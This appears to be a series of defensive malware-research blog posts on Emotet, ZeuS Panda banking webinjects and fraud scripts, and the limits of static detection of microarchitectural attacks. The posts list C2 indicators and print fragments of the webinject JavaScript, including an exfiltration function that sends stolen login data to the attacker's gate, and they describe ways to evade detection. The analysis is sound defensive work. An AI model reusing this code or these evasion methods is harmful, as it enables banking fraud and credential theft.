ca8be57bbd2f3169d0c1c4b5145e8f955ea69ddde701f94a2b29c661389b3aa2
cc2b47bffc260d992c602dbdbce1fb2ed982df883956cad9beac1ee0784650f6
d17d32048aae06ec60b693cd83e1cf184e8c2e4d1f0299a28423fdc624f56bb8
d2e43c41acd40324813d51df99fa127b86d8e384671dcc77f748d86afc3993a5
e2153c73ec9fd15dc8389523515a96c3477fce5503be78ff82ab3cc7e9386e83
e4dd30d5d85c4aaf05e01d8f40fb0e01e4e8ba99e82ec58946c045ce53783bde
e8349cfcc422310c259688b0226cb14f5196a6daad77b622405282aeac89ab06
f99610f8e36eb65e75979ef3ea4b7382bfb0bf2b72191cefccaaa19283d23606

Emotet drops ZeuS Panda targeting German and Austrian online banking users

Emotet is currently one of the prevalent threats on the Internet. The former banking trojan is now known to steal passwords and to drop other malware like Dridex on its infected machines. We recently found Emotet spreading Zeus Panda, which presented us with an opportunity to link some of our research on Emotet with our analysis of ZeuS Panda.  The Zeus Panda sample used in this wave is rolled out through Emotet in german-speaking countries and targets online banking users in Germany and Austria.

The Emotet C2 server drops additional malware to infected system. Whether a system receives such a package seems to be based on the geographical location of the infected system in question. After the additional malware is downloaded from the C2 server, it is written to a file in %ALLUSERSPROFILE% (C:\ProgramData in recent Windows versions) with a random name of 4 to 19 characters length and the file extension “.exe”. Emotet is capable of executing this binary in two different ways, either of which is chosen by the C2 server. The first mode executes the malware in the same context that Emotet is running in, the second mode executes the malware in the context of the currently logged-on user.

As stated above, the current wave downloads and executes the well-known ZeuS Panda banking trojan. To know which banking sites it should attack and how to modify the site’s content, the trojan needs so-called webinjects. From the URL masks of the webinjects this sample uses, we can tell that it currently targets online banking customers in Germany and Austria. All injects write a single script reference into the targeted websites. When the targeted site is loaded, the browser loads the referenced script, which is then executed in the context of the banking website. The only difference between the webinjects is the last number in the URL of the script source. This number seems to define the targeted website, which allows the server to deliver a target-specific script. The script actually downloaded is obfuscated by a simple string encryption. The actual script is part of an Automated Transfer System (ATS) which tries to persuade the user into transferring money to an account the attacker specifies.

scriptSchutzanalageRetoureThe above screenshots show an exemplary representation on the modification of the banking websites. They show two different attack scenarios: The first script tries to trick the user into performing an transaction in the guise of a security check. The attackers “inform” the customer of newly installed security measures on the banking website, coercing the user to complete a training using a demo account, before they are able to access their account again. During this training, a real transaction is made in the background to an account that the attacker specifies. The phrasing in the text is lousy and should raise suspicion with most customers.

 

The second script tries to persuade the user that an erroneous transfer was made to their account. It suggests to go to a bank branch or make the return transfer online. Additionally, the script blocks access to the banking account until the return transfer has been completed. The phrasing in the text is better than in the first script and may not raise suspicion at first glance.

The first script resembles word by word the webinject Kaspersky identified during their analysis of Emotet in 2015. At this time Emotet contained its own banking trojan capability and delivered the webinjects directly into the browser. As ZeuS Panda uses the same webinject format as the old Emotet, we can speculate about the reasons:

  • The webinject is acquired from the same creator
  • The group behind Emotet has dropped developing their own banking trojan and acquires such trojans from other malware authors
  • The group behind Emotet developed multiple banking trojans for its own use and for sale

It seems Emotet is not only used to sell distribution of malware, but also used by its owners. It is also possible that the group behind Emotet uses the slim downloader as an entry point for targeted attacks. In this case the group can spread Emotet worldwide and distribute specific malware to each target. As the real malicious payload is only downloaded after some time and only to specific targets, analysts can not directly draw conclusions on the real intention of an infection.

IOCs

Emotet:

C2:

5.9.195.154
45.73.17.164
60.32.214.242
85.25.33.71
194.88.246.242
213.192.1.170
217.13.106.16
217.13.106.246
217.13.106.249

SHA256:

0d25cde8d49e1bcf6a967c0df6ac76992ff129ea5c30a1492a5bedd313e6fb51
c287a9aa25ed6afc54bc5ebe4b098675f3fa4b7cb51fbdcfb50591b4b8fa3b90

ZeuS Panda:

C2:

uamanshe.gdn
ugjeptpyour.top

SHA256:

4fe20a9cf5e5c28ec55aa529179f7fe6df3cda8ae43340b04b2402f43dfefd5f
fbd9e31cc5cbfce2b8135234fdcfdac7fa48a127aa6f3644d05c6ba77bd6d903

Emotet harvests Microsoft Outlook

The original German blog post can be found on the G DATA Blog.

Emotet has been known as a trojan for years. Former versions focused on attacking online banking users, however the current Emotet was  transformed into a downloader and information stealer. The first reports of this new variant were published by CERT Polska in April 2017. Since then, Emotet has been spreading through spam phishing mails containing a link to a Microsoft Word document that acts as dropper for the Emotet binary.

Recently, CERT-Bund again warned about the spam mails which spread Emotet. The sender address of these emails is spoofed to appear as a sender known to the recipient. This strengthens the trust in the mail and increases the probability that the recipient opens the attachment or link without further consideration.

For this to work, the entities spreading Emotet need to have at least superficial knowledge of the social network a target interacts with via email. Acting opportunistically Emotet delivers a specific module to infected systems to harvest all emails in Microsoft Outlook accounts of the current user, allowing it to extract the relations between sender and receiver.

 

MAPI-Functions

To obtain the information from Outlook, the module takes advantage of the standardized interface MAPI. The picture above shows the loading of the MAPI-DLL and the retrieval of the needed functions. Utilizing this interface, the module iterates through all Outlook profiles it can access on the computer. It extracts all E-Mail-Account Names and E-Mail-Addresses from each profile. Afterwards it searches for emails recursively in each folder in the profile. From each mail found it extracts the sender (displayed name and mail address) and all recipients (displayed names and mail addresses) inclusive the recipients in the CC- and BCC-fields and saves them in relation to each other. The picture below shows the extracted fields from the emails. In case a field only contains a reference to an address book entry, the module extracts the name and email address from the address book. In this process only the mail header is evaluated, the content of the mails is not analyzed.

Fields

After the Emotet module has searched all profiles, folders, and emails, it writes the data it has retrieved in a temporary file in the directory %PROGRAMDATA%. The email addresses are sorted descending by how often they occur. Each address is extended with all contacts, that are in relation to it. However, two cases are distinguished:

  • if the referenced contact is the sender of the mail, it is extended with all recipients
  • if the referenced contact is the recipient of the mail, it is only extended with the sender

Example (Mailbox of A):mail

Mail 1: A sends to B and C

Mail 2: D sends to A

Mail 3: C sends to A , D, and E

A is referenced three times and therefore is placed on top of the list. A has a relation to B and C through mail 1, thus B and C get connected with A. Mail 2 shows a connection from D to A, thus D gets connected with A too. The relation from C to A in mail 3 is ignored, because it is already captured in mail 1 (A→C). Mail 3 contains the additional relations C→D and C→E. As no relations between C↔D and C↔E are already in the list, the contacts D and E get assigned to the contact C and are appended to the list.

The complete list, which gets transferred to the attacker, looks like this:

A<A@mail.com>; B<B@mail.com>; C<C@mail.net>; D<D@mail.com>
C<C@mail.net>; D<D@mail.com>; E<E@mail.com>

Afterwards the module encrypts the file, transfers it to the attacker and removes it from disk.

This  allows the attacker to get a condensed but comprehensive overview of the social network graph behind a victims email communications. With such a list, an attacker has knowledge of the relation between persons and can send spam mails with suitable sender header without great afford. Additionally, an attacker learns relations between contacts whose computers are not yet infected.

To deliver the spam mails to the suitable recipients, the attacker needs valid E-Mail accounts. For this task, they use an additional module that is able to extract the credentials from mail programs and transfer them to the attackers. To extract the credentials from all common mail programs, such as Microsoft Outlook, Mozilla Thunderbird, and Windows Mail, this module utilizes an integrated copy of the application Mail PassView from the company NirSoft. It writes this information to a temporary file, which is then encrypted and transfered to the attacker. Once transfered the temporary file is deleted.

Zeus Panda: Down To The Roots

Some time ago, we analyzed Panda’s webinjects to get an insight in how they actually work and to understand their communication with the ATS servers (read it here: part 1, part 2).

In the last few weeks, we drilled down on the binary itself and had a closer look on this side of the Zeus.Panda malware. In the resulting whitepaper, we present a more in-depth analysis of the malware executable, detailing the malware’s actions on the victim’s PC beyond and in addition to infecting browsers to enable fraudulent banking transactions.

Find the whitepaper here (pdf).

 

Zeus Panda Webinjects: Don’t trust your eyes

In our last blog article Zeus Panda Webinjects: a case study, we described the functionality of current Zeus Panda webinject stages and gave some insight into the corresponding administration panel. As we only scratched the surface of the target specific second webinject attack stage (in the following we reference this as 2nd attack stage), we would like to share more details about this part.

Basically, the 2nd attack stage already includes the complete code needed for the attack. The different code branches are triggered by setting status variables, especially the branch variable already introduced in our previous article on that topic. Last time we also introduced the send() function, which is used to exfiltrate data. send() isn’t entirely unidirectional: the HTTP response of this request includes further code that is evaluated as JavaScript. Thereby the backend is able to set the different status variables to trigger the existing code branches of the 2nd attack stage. Let’s dive into the details of this communication protocol:

Communication protocol and status variables

sequence_zeus_panda
Figure 1: Communication protocol

Figure 1 illustrates the communication protocol between the 2nd attack stage and the backend server. We see the different steps of the communication, the branches triggered, and the website on which the step occurs. Before going into details, the concept behind the communication is the following:

  1. The current attack state is sent from the client to the backend server.
  2. The backend checks for the current attack state and sets the right response parameters to initiate the next attack stage.
  3. The backend response contains variables to notify the 2nd attack stage (client), which attack branch should be executed next.
  4. The 2nd attack stage evaluates the response variables and triggers the next branch.
  5. This procedure is repeated until the final state of the protocol is reached.

Time to branch

Let’s take a detailed look into the different branches now.

Step
Action
1 The SL branch is triggered at the beginning of the attack, when an infected victim accesses the login page of the targeted online banking, inserts the login credentials and clicks on the submit button. (NOTE: The low level Trojan functions need to trigger an the initial webinject (generic loader) on that website and therefore the URL of the online banking website has to be listed in the trojan config file). The submitted login credentials are intercepted, exfiltrated to the backend (see previous blog post), then the 2nd stage code calls the original login function of the banking or payment website. The backend now registers the new victim, identified by the botid. It returns an empty response to the webinject.
2 At this point, the victim has successfully logged in and has been redirected to the account balance overview page. This triggers the 2nd branch: CP. The CP branch is called multiple times during the attack and transmits general status information of the victim to the attacker. The response of the backend contains status flags to trigger the next step of the attack. At this point here, the backend signals to initiate the attack.
3 The attack signal triggers the 3rd step shown in Figure 1: The TL branch. This branch is used to collect details from all available accounts by using the grabber module. Furthermore, a flag is set to indicate a page reload after the response of the send function has been received. The collected data is then exfiltrated again. The botid is used to correlate transmitted data to existing victim entries in the backend and therefore works as unique identifier for the victim. The server response is empty, but the previously set reload flag now triggers the CP branch again.
4 The CP branch now sends the some information to the backend as  described in Step 2. As the backend has stored a different state for the botid already, the response is different now. It signals the 2nd attack stage that the grabber module has finished and the ats module should start now. This module is used to manipulate account details like the account balance or transaction details. Also some status flags are set to trigger the next branch.
5 The GD branch: This branch is used to collect and exfiltrate account details of the victim. As already described in step 3, the reload flag is used to trigger the CP branch again.
6 The CP branch again submits status information, and the backend now triggers the next step of the attack. Besides some status flags, details about the target account and some fake data is provided. The data is used by the CP branch to display a fake overlay with a message and/or images, to trick the victim into starting a transaction. To that end, the fake overlay is used like in a normal phishing attack. We could observe different kinds of messages, which could be categorized into different modi operandi. (see below).

If the victim fell for the scam, the previously provided data is used to pre-fill the transaction form. Naturally, this data contains a target account for the transaction. This account will be controlled by the attacker somehow, i.e., it most likely belongs to a money-mule.

Additionally, the response from the backend contains fake information to be displayed. Depending on the modus operandi, this information is used to display different transaction details to the victim, then the ones used for the transaction in background.

7 Now the victim is redirected to the overview page for a successful transaction. In combination with the current flag state, this page visit triggers the TL branch of the 2nd stage code. The TL branch is used to collect details from the transaction overview page and exfiltrates them to the backend. This indicates a successful transaction to the attacker. The backend response is empty. The webinject transits into the next state, without the need for further communication with the backend.
8 The last triggered branch is called CG. It creates a copy of the complete DOM of the successful transaction overview page and exfiltrates it to the backend. There is no indication that this data is displayed in the admin panel, thus we assume it is transmitted for debug purposes only.

Modi Operandi

In the following we detail two different exemplary modi operandi, which we could observe during our analysis. The real visible appearance is different, as the webinject makes heavy use of the style-sheets provided by the target website. This is a very straight-forward way to properly brand fraudulent content to match the corporate design of target banks or payment providers. We focus on the content shipped to banking customers.

Charity Fraud: SOS-Kinder

SOS_Kinder.png

The victim is asked to donate 1€ to an non-profit organization, in this case for SOS children. This mimics the well know internationally active “SOS-Kinderdorf” organization. The German text is well written and does not contain the obvious indications for phishing that we all love and know from the occasional phishing mail, like contorted grammar and a more than flowery vocabulary. No Google Translate in sight, here. To leverage this scam vector, the webinject makes use of the data provided by the backed in Step 6 as detailed above. Using an overlay, the victim is made believe he/she is transferring 1€, but under the hood the amount is change to a much higher value.

The attackers follow a very classic social engineering approach for our part of the world and appeal to the victims helpfulness: Who doesn’t want to help children in need by spending 1€? We refer to this kind of attack as charity fraud.

Refund Fraud: Finanzpolizei

finanzpolizei_edited

The overlay presents a message to the victim, indicating a transaction has been made to their account. As the victim sees a manipulated version of his account balance, he really believes the transaction has had happen. Furthermore the text indicates a preliminary investigation by the “Finanzpolizei” against the initiator of the transaction. If the victim is not transferring the money back, the text threatens with prosecution by law enforcement for participating in a money laundering scheme.

Finally, all the Google Translate and contextual cluelessness we came to love in the scams out there! Regrettably for the attacker, not all German-speaking countries are actually Germany. (We tried that once, partially, and it was a horrible idea.) An institution called “Finanzpolizei” does indeed exist — but not in Germany. The valid target audience for this scam is thus supposedly to be found in Austria, however, the scam is also actively used in Germany. The German text includes some mistakes and is not as well written as the first modus operandi we have shown above.

In the case at hand, the attackers try to make the victim follow through with a classic refund scam, by threatening legal consequences. As the story works without the need to manipulate the transferred amount under the hood, the fake data needed in the first described modus operandi is not used in this kind of attack. Nevertheless the attack is kind enough to prefill the transaction form with the correct details to ease the transaction for the victim.

Return of the victim

Now let’s assume the victim has been tricked into initiating a transaction by themselves to send their money to the attacker. What happens, if the victim takes a look into his online banking account some time later? As expected, the 2nd attack stage is also prepared for that case: The user is presented the “temporarily unavailable” notification (see Figures 1 and 2 from our previous post) and the login function of the target website is disabled. As long as the status variables are set to the finale state of the described communication protocol, the victim is thus unable to access their account again as long as the backend server is reachable. Even when disabling this blocking functionality, account information like transaction details and total balance are still manipulated. As this manipulations use the originally provided style cheets (CSS) from the target institute, a victim has no way to visibility distinguish between a fake entry and an original one.

Conclusion

Nowadays almost all financial institutes make use of two-factor authentication to protect their users from fraud. The modi operandi used by current banking trojan attacks successfully circumvent this by using social engineering techniques. The victim is tricked into initiating the transaction willingly and happily provides all information needed to confirm the transaction. This is achieved by visible modifications of the website that are indistinguishable from the original website content. The success rate of these attacks is still quite high.

By using a multi-layered attack, it’s also cumbersome for analysts to get an complete insight into the technical details. As soon as the backend server is not available anymore, only the 1st stage of a webinject is accessible on an infected machine. Without the backend server, most of the attack code is not available and therefore some pieces of the puzzle are missing.

These kind of multi-layered attacks have become more and more complex and sophisticated. However, beyond the visual appearance, the code of the original website is modified heavily to make this attacks work and these modifications necessarily leave a footprint. In our fraud detection solutions, we provide our customers with instant visibility into these modification symptoms so they can fare better at protecting their customers’ assets.

Authors: Manuel Körber-Bilgard and Karsten Tellmann

MASScan & the Problems of Static Detection of Microarchitectural attacks

 

Introduction

Microarchitectural attacks have been known for more than a decade now.  The designs behind those architectures are typically optimized for performance, cost and backward compatibility. Therefore it seems unlikely that we will see fixes in CPU architectures which address the root cause for vulnerabilities any time soon. With this in mind, the search for software-based solutions to this problem becomes a priority.

As a contribution to this effort Irazoqui  et al. [1] puplished an interesting paper on static methods to detect microachtitetural attacks which is titled “MASScan: Stopping Microarchitectural Attacks Before Execution”.
The idea is as good as it is naïve. In this blog post I will discuss the reasons behind this position. It should also be noted that the paper in question is an early version and subject to changes.

 

MASScan

The analysis works by flagging code that is rare in real-life applications and often used in an attack context. In this case, ‘attack context’ is defined as code which is either required for an attack to work, or because it improves an attacks’s performance. The list is:

Cache flushing instructions

Clflush, clflushopt
(the authors do not mention this clflushopt, but I have included it for completeness)

Non-temporal instructions

monvnti & movntdq

Timers

Counter threads, performance  counters,  rdtscp, rdtsc  instructions and attempts to set thread affinity to gain core co-location which is important for the accuracy of counter threads.

Fences

lfence, mfence & cpuid

Locking instruction

lock prefix

Algorithmic constructions

Eviction set access code, pointer chasing, jumps in a loop

 

The instructions in question are rarely ever used. With the exception of the lock prefix, all of them are part of the 0x0F escape opcodes. In Zombie’s [5] opcode list (which unfortunately is outdated at the time of writing) 0x0F opcodes represent less than 2% of all opcodes, based on data from 1700 executables. The lock prefix is measured, but is rounded down to 0% in this list. This could serve as an indication that vindicates the author’s notion.

The good part is that solid static analysis is able to effectively spot problems, and highlight them to a human analyst. Further manual analysis can be performed based on those indicators to identify malignant behavior, suspicious cases or to vet out false positives. What makes this approach somewhat challenging is the fact that static analysis is very difficult to do well and impossible to do right, especially when factoring in that attackers try to actively evade static analysis.
The following is to demonstrate what such an evasive action might look like.

 

Microarchitectural & Rice

Rice’s theorem states that all non-trivial semantic properties are undecidable. In short, obfuscation is difficult to deal with. The bad news is that microarchitectural attacks are non-trivial semantic expressions and as such, as per Rice’s theorem, undecidable. In other words: you could achieve the same result in an infinite number of ways, without being able to pinpoint the “right” way. You will never be able to deduce from the semantic output which all syntax representation that cause it.

The example I like to use is this: One could build an interpreter which takes the original program as input. The output of the interpreter would then have the exact same semantics, but a different syntax. Obviously one could then build a new interpreter that processes the first interpreter’s syntax output and so on and so forth. Consequently, we cannot generate a database of syntax representation for a given semantic. The clever reader will already know that microarchitectural attacks do not lend themselves well to emulation or obfuscation for that matter. They often rely on rare syntax elements (rare instructions). Execution time is a very real concern and any obfuscation might change microarchitectural states that are important to the attack. However, this doesn’t mean it’s impossible.

Let’s go through the above list from an attacker’s point of view.

Cache flushing instructions

The clflush instructions can replaced by eviction code as demonstrated by Oren et al. [2] as well as  Gruss et al [3]. This relocates the problem from detecting dangerous instructions to detecting dangerous algorithms. It effectively disqualifies the syntactic element clflush for use as an answer to a semantic question.

Non-temporal instructions & timers

Timers are indeed the Achilles heel of most microarchitectural attacks. The rdtsc(p) instructions are a telltale sign for such an attack. Unfortunately, though, they are used by benign applications as well. Often these instructions are wrapped in API functions, e.g. the QueryPerformanceCounters API on Microsoft Windows. The problem with such API calls is that they can be imported dynamically in any number of ways. This makes a static analysis fairly cumbersome.

Counter Threads

As for counter threads, they too can be implemented in numerous ways. Counting does not have to be monotonic increasing, only deterministically changing. As the CPU’s are superscalar, some instructions can be added to the loop at a very low accuracy penalty. And of course, the loop can be camouflaged.  This not only obscures the actual nature of a function (e.g. a counter thread), it also takes the detection into potential false positive territory. Finally, some attacks (like attacks on KASRL) can be repeated. This allows a low accuracy timer to be used multiple times and then using the law of large numbers to average out the noise.

Fences

Fences are rarely a strict requirement for attacks. They do tend to lower the noise, but an attack could often do without them. For instance, Oren et al. [2] does prime+probe in Javascript without a fence. Flush+Reload works fairly decent without fencing as well. Also, makeshift fences can in some cases be produced by gaming reordering. For instance, filling the reorder buffer with dependent instructions before starting a round of the attack will serve well to fence against already pending loads and stores.

Locking instructions

I’m not aware of any substitution for the lock prefix. In this particular case, we indeed have an indicator that is difficult to replace for an attacker. It should be noted that on Microsoft Windows the Interlocked* API functions use the lock prefix and consequently the same problems arise as with the QueryPerformanceCounter API.

Algorithmic constructions

As far as algorithmic constructions are concerned, those can be varied and obfuscated ad nauseam. Therefore, they make for a poor indicator.
For instance, you could perform eviction using a vector, a tree structure or, in fact, any other data structure. Each of them will generate completely different code. Eviction can be triggered by any instruction that uses memory – therefore, any instruction would achieve this. A very old approach has been memset, which comes at a steep performance penalty for the attacker. However, it would likely suffice for spying on keyboards in Gruss et al. [4] . Call qword ptr [address] can touch two cache lines to load the address and one on the stack, as well as the one or two where the instruction itself lies. That is just an example of how ugly eviction can be made. We could argue with a performance penalty in this case. However, we should bear in mind that optimal eviction strategies not only touch uncached memory, but also memory that is already cached – see Gruss et al. [3]!

It gets worse from there: For row hammer I suggested that we do not need not use eviction. Instead, we could bring the cache coherency policy into play to cause write back into memory, see Fogh [8].  This provides yet another algorithm to detect for protection against row hammer, which of course can be implemented in many different ways.

 

Classic malware obsfuscation – Anti static analysis methods

 

Copy protections and malware has historically used a number of methods to defeat static analysis.

Self-modifying code

I wrote my first executable packer in 1995. Packers go back further than that, though. Once an executable has been packed, the only code that is now available to static analysis in the first stub of the unpacker. Unfortunately, malware authors are aware of this technique and it’s even available for purchase online as part of COTS malware as a service. Also, packers used commercially for copy protection can be used for obfuscation like this.

Malware can of course also decrypt data and save it as an executable on disk or even in memory to avoid static analysis. Techniques such as “Run-PE” are widespread in real world malware.

Another example of self-modifying code is JIT compiling, which is what Javascript does. In fact, I use the keystone assembler JIT style for building microarchitectural attacks fairly often, because it gives me a lot more control than I get from the compiler.

Opening hidden browser windows using malicious java script is entirely possible and Oren et. Al demonstrate that prime+probe runs well in JavaScript. It is worth noting that the browser components can be linked into the malware and subsequently do not need to be present on the victim’s computer.

Such ways of hiding code from analysis is already commonplace and no longer qualifies as sophistication in malware.

Anti-disassembly and code reuse

Static analysis can be performed either based source code or on disassembly. Commercial providers, however, tend not to share their source code for intellectual property reasons. This only leaves disassembly as a method for analysis. Unfortunately, however, the x86 platform has a non-fixed length of opcodes. This results in problems to locate the starting point of an instruction. Historically this has been used as a means to thwart disassembly. A clflush instruction can easily be hidden from disassembly as part of, say, a mov instruction. The extreme version of this is doing code-reuse attacks such as ROP. Obviously a clflush “gadget” does not have to be part of the shipped malware, but could very well be part of the operating system – clflush (In the simplest form) assembles to 3 bytes of which the attacker can influence the third by picking the operand, making it reasonable to find a suitable gadget somewhere in the operating system.

 

A peculiar niche case

We have already seen static analysis thwart these kinds of attacks in one special instance: the NaCl sandbox in Chrome. In there, the code is validated during compiling and run in a sandboxed environment to make sure that none of the above tricks are used. Validation will fail if a clflush instruction is generated. Unfortunately, this is not generally applicable. Never-the-less requiring intermediate language representation (say LLVM) when submitting to a shop may assist the authors intention, but many of the issues mentioned above including Rice’s theorem itself applies to intermediate language representations as well.

 

Conclusion

At this point in time, attackers capable of launching microarchitectural attacks have to be considered ‘advanced’.  We must therefore assume that they have ready access to malware obfuscation technology. This technology can effectively thwart classification using static analysis of executables – this is especially true if the “feature set” is small and malleable. This limited feature set further reduces the cost of applying obfuscation for the attacker. The feature set of MASScan is exactly that: small and mallable. Microarchitectural attacks generally have a bit of leeway for modification to blend in with benign code. Consequently, static analysis is unlikely to give defenders a real edge. Static analysis could be augmented with symbolic or even concolic analysis to improve accuracy. However these methods scale poorly and have issues of their own. Given that it produces a <6% false positive ratio, static analysis seems a dull weapon against microarchitectural attacks. This leaves the dynamic approach which I consider the most promising stop-gap-solution.
For instance, my flush+flush detection blog post [7] or my work with Herath on detecting row hammer and cache attacks at BlackHat 2015 using performance counters [6] are examples of how detecting microarchitectural attacks can be automated in controlled environments. These methods are not without flaws, either. But from an attacker’s point of view they are at least more difficult to work around as they are often behavior-based and consequently circumvent the problem presented by the Rice theorem. Despite progress in defense research, we remain without strong defenses against microarchitectural attacks.

 

Literature

[1] Irazoqui, G., Eisenbarth T., an Sunar B.  MASScan: Stopping Microarchitectural Attacks Before Execution. http://eprint.iacr.org/2016/1196.pdf

[2] Oren, Y., Kemerlis, V. P., Sethumadhavan, S., and Keromytis, A. D. The spy in the sandbox: Practical  cache attacks in javascript and their implications. In Proceedings of the 22Nd ACM SIGSAC Conference on Computer and Communications Security (New York, NY, USA, 2015), CCS ’15, ACM, pp. 1406-1418.

[3] Gruss, D., Maurice, C., and Mangard, S. Rowhammer.js: A remote software-induced fault attack in javascript.  In Proceedings of the 13th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment -Volume 9721 (New  York,  NY,  USA,  2016),  DIMVA  2016,  Springer-Verlag  New York, Inc., pp. 300{321.

[4] Gruss, D., Spreitzer, R., and Mangard, S. Cache template attacks: Automating  attacks  on  inclusive  last level  caches.   In 24th USENIX Security Symposium (2015), USENIX Association, pp. 897-912

[5] Z0mbie, “Opcode Frequency Statistics”. http://z0mbie.daemonlab.org/opcodes.html

[6] Nishat, H., Fogh, A. “These Are Not Your Grand Daddys CPU Performance Counters”. Black Hat 2015. See also  http://dreamsofastone.blogspot.de/2015/08/speaking-at-black-hat.html

[7] Fogh, A. Detecting stealth mode cache attacks: Flush+Flush. Http://dreamsofastone.blogspot.de/2015/11/detecting-stealth-mode-cache-attacks.html

[8] Fogh, A. Row hammer, java script and MESI- http://dreamsofastone.blogspot.de/2016/02/row-hammer-java-script-and-mesi.html

Zeus Panda Webinjects: a case study

Our mothership G DATA runs extensive automated sample processing infrastructure as part of providing up to date protection to their AV customers. At G DATA Advanced Analytics, we have integrated these processes within our own routines in order to maintain the fraud detection solutions we provide to our customers from the financial sector.

We have been observing an increase in Zeus Panda infections recently. When we decrypted the config files from samples of Zeus Panda Banking Trojans that went through our processing this week, we decided to have a closer look at the current features. The low level functionality of the Zeus Panda Banking Trojan is already known quite well, so we focus our analysis on the webinjects. These webinjects are used to manipulate the functionality of the target online banking websites on the client. The one we found here was pretty interesting. As usual, the JavaScript is protected by an obfuscation layer, which substitutes string and function names using the following mapping array:

var _0x2f90 = ["", "\x64\x6F\x6E\x65", "\x63\x61\x6C\x6C\x65\x65", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x3F\x74\x69\x6D\x65\x3D", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x68\x65\x61\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x76\x65\x72", "\x46\x46", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x63\x6F\x6D\x70\x6C\x65\x74\x65", "\x6D\x73\x69\x65\x20\x36", "\x69\x6E\x64\x65\x78\x4F\x66", "\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65", "\x75\x73\x65\x72\x41\x67\x65\x6E\x74", "\x49\x45\x36", "\x6D\x73\x69\x65\x20\x37", "\x49\x45\x37", "\x6D\x73\x69\x65\x20\x38", "\x49\x45\x38", "\x6D\x73\x69\x65\x20\x39", "\x49\x45\x39", "\x6D\x73\x69\x65\x20\x31\x30", "\x49\x45\x31\x30", "\x66\x69\x72\x65\x66\x6F\x78", "\x4F\x54\x48\x45\x52", "\x5F\x62\x72\x6F\x77\x73\x2E\x63\x61\x70", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x64\x69\x73\x70\x6C\x61\x79", "\x73\x74\x79\x6C\x65", "\x6E\x6F\x6E\x65", "\x68\x74\x6D\x6C", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x66\x69\x78\x65\x64", "\x74\x6F\x70", "\x30\x70\x78", "\x6C\x65\x66\x74", "\x77\x69\x64\x74\x68", "\x31\x30\x30\x25", "\x68\x65\x69\x67\x68\x74", "\x7A\x49\x6E\x64\x65\x78", "\x39\x39\x39\x39\x39\x39", "\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64", "\x23\x46\x46\x46\x46\x46\x46"];
// ... further script code ...

After deobfuscating this script, the result looks like:

var vars = ["", "done", "callee", "script", "createElement", "type", "text/javascript", "src", "?time=", "appendChild", "head", "getElementsByTagName", "ver", "FF", "addEventListener", "DOMContentLoaded", "readyState", "complete", "msie 6", "indexOf", "toLowerCase", "userAgent", "IE6", "msie 7", "IE7", "msie 8", "IE8", "msie 9", "IE9", "msie 10", "IE10", "firefox", "OTHER", "_brows.cap", "getElementById", "display", "style", "none", "html", "position", "fixed", "top", "0px", "left", "width", "100%", "height", "zIndex", "999999", "background", "#FFFFFF"];
// ... further script code ...

Taking a closer look at the now revealed functionality, we can identify the following features:

  • Browser version check, to add a browser specific event listener (e.g. for Firefox the DOMContentLoaded event is used)
  • Setting some trojan configuration variables like:
    • botid: Unique Identifier of the compromised system
    • inject: URL to load the next attack stage
  • Load and execute further target (bank) specific JavaScript code, as defined in the inject variable.

As it turns out, the first webinject stage is a generic loader to get target specific attack code from a web server. In this context ‘target’ refers to banks and payment service providers. This is not a remarkable fact in itself, as current webinjects tend to load the final attack in multiple stages. But maybe this server also includes further Zeus Panda components. So let’s take a closer look.

Target specific code and examples

After downloading the target specific second stage of the webinject, we were surprised about the actual size of the file: 91.8 KB.

A brief analysis showed a lot of functionality. Some of the functions are generic and work on every website. Others include target specific code, like specific HTML attributes. For example, the webinject uses unique id attributes to identify concrete websites of the online banking target. We are still investigating a lot of the included functionality at the time of writing. For now, we want to give a brief overview of selected parts of the basic functionality.

init_function_start
Figure 1: Flowchart of init function

After loading the target specific JavaScript, the init function shown in figure [Figure 1] is called. First, the function checks if it is on top of the page. If not, the showpage() function is called, searches for the identifier _brows.cap and deletes this DOM element if present. Otherwise the next check function are() is called, which searches for the strings “login”, “password” and “button”. If none of these strings can be found, the get() function is called to check if the user is currently logged in. This is done by checking for the presence of the logout element, which is only available when the user is currently logged in. If not, the already described showpage() function is triggered to clean up. Otherwise the status() function is used to set the status variable to the string “CP”. Afterwards the collected data is exfiltrated via the send() function, described in detail in the next section.

If all target strings were found (“login”, “password” and “button”), the next functions preventDefault() and stopPropagation() are called (left branch of figure 1). This overwrites the the default form action to collect the data the user enters into the form. Additionally the key event of the enter button (key code 13) is intercepted so that the form data is captured regardless of the submit method.

As this implementation is not working in Internet Explorer, the script checks for the presence of the cancelBubble event. If present, a specific Internet Explorer implementation is called, which provides the same functionality as the stopPropagation() function. As in the initial webinject, different code is available to support all major browsers.

After collecting form input data, the function status() is called to set the branch variable. The branch variable defines which action is triggered. In our callflow example (left branch), the value is set to the string “SL” which triggers a visible overlay of the website, indicating to the user that there is a temporary problem with the site. The following examples show two different target variations:

screen_status_sl_02
Figure 2: German example for a temporarily unavailable
screen_status_sl
Figure 3: English example of a different target

Afterwards the send() function is triggered to exfiltrate the collected data.

Exfiltration

The next interesting part in the code is the exfiltration function used during this attack stage. The collected information is handed to a function called send():
send: function () {
    var l = link.gate + '?botid=' + _tables.encode(_brows.botid) + '&hash=' + new Date() + '&bname=' + _tables.get('bank');
    for (var i = 0; i < arguments.length; i++) {
        for (key in arguments[i]) {
            l += '&' + key + '=' + _tables.encode(arguments[i][key]);
        }
    }
// ... further code ...
